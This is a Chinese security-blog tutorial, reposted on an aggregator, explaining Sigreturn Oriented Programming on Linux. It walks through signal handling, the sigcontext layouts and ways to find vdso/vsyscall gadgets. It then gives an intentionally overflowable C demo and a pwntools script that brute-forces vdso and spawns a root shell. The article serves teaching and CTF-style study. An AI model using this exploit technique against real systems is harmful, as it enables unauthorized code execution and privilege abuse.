Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】Sigreturn Oriented Programming攻击简介

0
0
【技术分享】Sigreturn Oriented Programming攻击简介

2017-03-30 09:51:37
来源:安全客 作者:放荡不羁的娃

阅读:440次
点赞(0)
收藏





【技术分享】Sigreturn Oriented Programming攻击简介

作者:放荡不羁的娃

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

这段时间看linux kernel的信号处理时突然想到了一种利用方法——SROP(Sigreturn Oriented Programming)。记得去年在某个博客上看到过这方面的pwn题,所以我就干脆就去认真研究了一下。


Theory

在开始介绍这个利用方法前,我首先介绍一下linux的信号处理。毕竟SROP是以这个为基础的。

Linux接受到信号后的处理过程大致如下:


【技术分享】Sigreturn Oriented Programming攻击简介

首先,当由中断或异常产生时,会发出一个信号,然后会送给相关进程,此时系统切换到内核模式。再次返回到用户模式前,内核会执行do_signal()函数,最终会调用setup_frame()函数来设置用户栈。setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同),另外还会push一个signal function的返回地址——sigruturn()的地址。

对x86来说,此数据结构为sigcontext。其定义如下:

structsigcontext{ unsignedshortgs,__gsh; unsignedshortfs,__fsh; unsignedshortes,__esh; unsignedshortds,__dsh; unsignedlongedi; unsignedlongesi; unsignedlongebp; unsignedlongesp; unsignedlongebx; unsignedlongedx; unsignedlongecx; unsignedlongeax; unsignedlongtrapno; unsignedlongerr; unsignedlongeip; unsignedshortcs,__csh; unsignedlongeflags; unsignedlongesp_at_signal; unsignedshortss,__ssh; struct_fpstate*fpstate; unsignedlongoldmask; unsignedlongcr2; };

对x86_64来说,push到栈中的是ucontext结构体。其定义如下:

structucontext{ unsignedlonguc_flags; structucontext*uc_link; stack_tuc_stack; mcontext_tuc_mcontext;/*sigcontextforx86_64*/ __sigset_tuc_sigmask; struct_libc_fpstate__fpregs_mem; }; structsigcontext{ unsignedlongr8; unsignedlongr9; unsignedlongr10; unsignedlongr11; unsignedlongr12; unsignedlongr13; unsignedlongr14; unsignedlongr15; unsignedlongrdi; unsignedlongrsi; unsignedlongrbp; unsignedlongrbx; unsignedlongrdx; unsignedlongrax; unsignedlongrcx; unsignedlongrsp; unsignedlongrip; unsignedlongeflags;/*RFLAGS*/ unsignedshortcs; unsignedshortgs; unsignedshortfs; unsignedshort__pad0; unsignedlongerr; unsignedlongtrapno; unsignedlongoldmask; unsignedlongcr2; struct_fpstate*fpstate;/*zerowhennoFPUcontext*/ unsignedlongreserved1[8]; };

当这些准备工作完成后,就开始执行由用户指定的signal function了。当执行完后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后,程序恢复执行。

关于sigreturn的系统调用:

/*forx86*/ moveax,0x77 int80h /*forx86_64*/ movrax,0xf syscall

Exploit

了解了linux的信号处理过程后,我们可以利用sigreturn来做出自己想要的系统调用。不过也是有条件的,但是个人觉得条件还是不难满足的。基本上只要有个栈溢出(没开canary)在大部分条件下就能实现这个利用。而利用过程也相对比较简单。

1. 伪造sigcontext结构,push到栈中。伪造过程中需要将eax,ebx,ecx等参数寄存器设置为相关值,eip设置为syscall的地址。并且需要注意的是esp,ebp和es,gs等段寄存器不可直接设置为0,经过个人测试,这样不会成功。

2. 然后将返回地址设置为sigreturn的地址(或者相关gadget)。

3. 最后当sigreturn系统调用执行完后,就直接执行你的系统调用了。

|sig_ret|<---esp |--------| || |frame| |--------| ——————————

利用过程比较麻烦的一点是找sigreturn的地址(或gadget)。对于x86来说,vdso(vitual dynamic shared object)会有sigreturn的地址,而且vdso的地址可以很容易爆破得到。因为即使对开了ASLR的linux来说,其地址也只有一个字节是随机的。

gdb-peda$ x/3i 0xf7fdb411

0xf7fdb411<__kernel_sigreturn+1>:moveax,0x77 0xf7fdb416<__kernel_sigreturn+6>:int0x80 0xf7fdb418<__kernel_sigreturn+8>:nop

但是对x64来说,爆破vdso就比较难了。原来只有11bit是随记的,但我在我的linux上测试好像有22位是随机的了,爆破也就几小时而已(个人亲测),还是能爆出来的。关于64位的爆破,可参考Return to VDSO using ELF Auxiliary Vectors。

我们还有一种方法能找到vdso的地址——ELF Auxiliary vector。

gdb-peda$infoauxv 33AT_SYSINFO_EHDRSystem-suppliedDSO'sELFheader0x7ffff7ffa000<--addressofvdso 16AT_HWCAPMachine-dependentCPUcapabilityhints0xfabfbff 6AT_PAGESZSystempagesize4096 17AT_CLKTCKFrequencyoftimes()100 3AT_PHDRProgramheadersforprogram0x400040 4AT_PHENTSizeofprogramheaderentry56 5AT_PHNUMNumberofprogramheaders9 7AT_BASEBaseaddressofinterpreter0x7ffff7dda000 8AT_FLAGSFlags0x0 9AT_ENTRYEntrypointofprogram0x400500 11AT_UIDRealuserID0 12AT_EUIDEffectiveuserID0 13AT_GIDRealgroupID0 14AT_EGIDEffectivegroupID0 23AT_SECUREBoolean,wasexecsetuid-like?0 25AT_RANDOMAddressof16randombytes0x7fffffffe789 31AT_EXECFNFilenameofexecutable0x7fffffffefdb"/home/wolzhang/Desktop/a.out" 15AT_PLATFORMStringidentifyingplatform0x7fffffffe799"x86_64" 0AT_NULLEndofvector0x0

AT_SYSINFO_EHDR就是vdso的地址,如果存在printf格式化漏洞,那么我们可以泄露此值。

另一种方法是我们可以用ROP制造一个sigreturn,只需要找到一个syscall和ret的地址就行。幸运的是在x64上很容易找到:因为有vsyscall。而且vsyscall的地址是固定的:0xffffffffff600000。

gdb-peda$x/3i0xffffffffff600000 0xffffffffff600000:movrax,0x60 0xffffffffff600007:syscall 0xffffffffff600009:ret

Example

我写了个demo来测试一下(based on x86)。比较简单。
#include<stdio.h> #include<unistd.h> charbuf[10]="/bin/sh\x00"; intmain() { chars[0x100]; puts("inputsomethingyouwant:"); read(0,s,0x400); return0; }

以下是我的利用脚本:

frompwnimport* importrandom binsh_addr=0x804a024 bss_addr=0x804a02e vdso_range=range(0xf7700000,0xf7800000,0x1000) defmain(): globalp debug=1 ifdebug: #context.level_log="debug" context.arch="i386" p=process('./srop_test') else: pass globalvdso_addr vdso_addr=random.choice(vdso_range) payload='a'*0x10c frame=SigreturnFrame(kernel="i386") frame.eax=0xb frame.ebx=binsh_addr frame.ecx=0 frame.edx=0 frame.eip=vdso_addr+0x416#addressofint80h frame.esp=bss_addr frame.ebp=bss_addr frame.gs=0x63 frame.cs=0x23 frame.es=0x2b frame.ds=0x2b frame.ss=0x2b ret_addr=vdso_addr+0x411#addressofsigreturnsyscall #printpayload payload+=p32(ret_addr)+str(frame) p.recvuntil("inputsomethingyouwant:\n") p.sendline(payload) sleep(1) p.sendline("echopwned!") r=p.recvuntil("pwned!") ifr!="pwned!": raiseException("Failed!") return if__name__=="__main__": globalp,vdso_addr i=1 whileTrue: print"\nTry%d"%i try: main() exceptExceptionase: #printe p.close() i+=1 continue print"vdso_addr:"+hex(vdso_addr) p.interactive() break

因为32位的vdso几分钟就能爆破成功,很容易得到一个shell。

...... Try165 [+]Startinglocalprocess'./srop_test':Done vdso_addr:0xf7734000 [*]Switchingtointeractivemode $id uid=0(root)gid=0(root)groups=0(root) $

个人觉得这种方法比一般的rop还是好用多了。一般rop还得泄露libc,但是srop没有这么多限制。在条件允许时,个人倾向于用srop。


Reference

Sigreturn Oriented Programming

关于ELF的辅助向量

Sigreturn Oriented Programming is a real Threat


【技术分享】Sigreturn Oriented Programming攻击简介
【技术分享】Sigreturn Oriented Programming攻击简介
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3675.html

Viewing all articles
Browse latest Browse all 12749